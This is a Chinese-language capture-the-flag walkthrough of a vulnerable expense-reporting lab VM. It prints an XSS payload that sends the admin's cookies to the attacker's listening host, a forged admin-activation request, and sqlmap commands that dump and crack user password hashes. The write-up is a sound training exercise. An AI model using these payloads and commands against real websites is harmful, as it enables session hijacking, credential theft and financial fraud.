前言
简单记录一次打靶的过程,这里我们作为Samuel Lamotte需要进入公司网站寻找并利用漏洞索要报销,目前已知了登录密码为fzghn4lw。
渗透过程
一、信息收集
1、确定目标IP地址
2、nmap收集端口号
端口扫描发现了对方服务器开放了许多端口。
3、目录扫描
这里扫出来许多目录,接下来依次访问寻找有用信息。
二、漏洞探测
访问80端口,发现存在登录和注册的入口。
admin目录可以成功访问,这里存放着已有的所有账户,看status那一列,发现slamotte是处于不可以登录的状态。
访问注册页面,结合刚才在admin.php页面看到的信息,猜测这里可能存在xss漏洞。先注册一个账户测试,结果发现信息提交不了,检查查看源码发现提交按钮这里设置了disable,直接删除后就能成功注册了。
三、漏洞利用
1、获取cookie
①kali开启临时http服务
python3 -m http.server
②写入js代码触发XSS,让kali能监听并获取到管理员登录的cookie
<script>document.write('<img src="http://192.168.253.129:8000/?'+document.cookie+'">')</script>
PS:这里注意192.168.253.129:8000是kali的ip和端口号。
这里我们能监听到众多cookie,接下来需要找到管理员的cookie进行利用。
2、利用cookie
激活slamotte账户时,抓包并将 cookie 替换为监听到的管理员 cookie。
放包运行后发现页面出现了错误提示,告诉我们管理员账号同时只能登录一次。
为了避免这种情况,创建另⼀个帐户,修改XSS 语句去激活 “Samuel Lamotte” 的帐户 。通过bp抓的激活账号时候的数据包中看到,是通过如下语句实现激活动作的:
GET /admin/admin.php?id=11&status=active
Host: 192.168.253.143
因此构造的恶意语句可以将 “/admin/admin.php?id=11&status=active” 插入进去:
<script>document.write('<img src="http://192.168.253.143/admin/admin.php?id=11&status=active">')</script>
让后台脚本⾃动访问该⻚⾯时,由管理员自己激活那个账号。
点击那个激活按钮后看到提交参数 id=11&status=active
此时访问admin.php页面,我们发现Samuel Lamotte成功激活。
成功激活了Samuel Lamotte的帐户后,我们使⽤已知的身份凭证:slamotte/fzghn4lw 登录到网站并提交报销申请。
浏览其中的内容,继续寻找可利用的漏洞。在home页面发现了留言框,推测可能存在xss漏洞,对其进行测试后,发现确实存在xss漏洞。那么接下来就可以在此留言框中写入恶意代码,尝试获取管理员的cookie信息。
注意kali需要开启监听才能获取到cookie信息,可能会获取到多个cookie值,因此需要我们对这些cookie值进行测试,直到确定最终管理员的cookie信息是哪一个。
将获取到的cookie信息记录下来,利用插件替换cookie值,寻找管理员的cookie值,利用manager的身份登录后台将刚才Samuel Lamotte提交的报销申请通过。
成功利用manager的身份通过了报销单,然而并没有完全结束,因为报销单还需要财务人员进行审批。
3、sql注入
在信息收集和漏洞探测的阶段,发现 site.php 界面存在sql注入漏洞,接下来可以利用这个漏洞爆破出所有用户及其密码。
利用sqlmap的 -r 参数:
把当前存在sql注⼊的⻚⾯⽤bp抓包后,将其内容保存到sql.txt文件中,然后利用sqlmap工具,使用 -r 参数进行sql注入。
命令:sqlmap -r sql.txt --current-db
注意:执行命令前需先进入sql.txt文件存在的目录
#进入包含cookie值的文件目录
cd /root/Desktop
#寻找sql注入
sqlmap -r sql.txt --current-db
#查库
sqlmap -r sql.txt --current-db --dbs
#查表
sqlmap -r sql.txt --current-db -D myexpense --tables
#查列
sqlmap -r sql.txt --current-db -D myexpense -T user --columns
#查字段
sqlmap -r sql.txt --current-db -D myexpense -T user -C username,password --dump
成功爆出所有账密后,找到财务⼈员afoulon和pbaudouin,尝试获取他们的密码。密码有做加密处理,观察其特征,应该为MD5加密,利用工具解密,成功破解pbaudouin的密码为HackMe。
四、获得flag
使用pbaudouin/HackMe登录,审批Samuel Lamotte提交的报销申请。
审批成功后,再次登录Samuel Lamotte的账号,此时flag就会直接显示在页面上了,成功获得flag。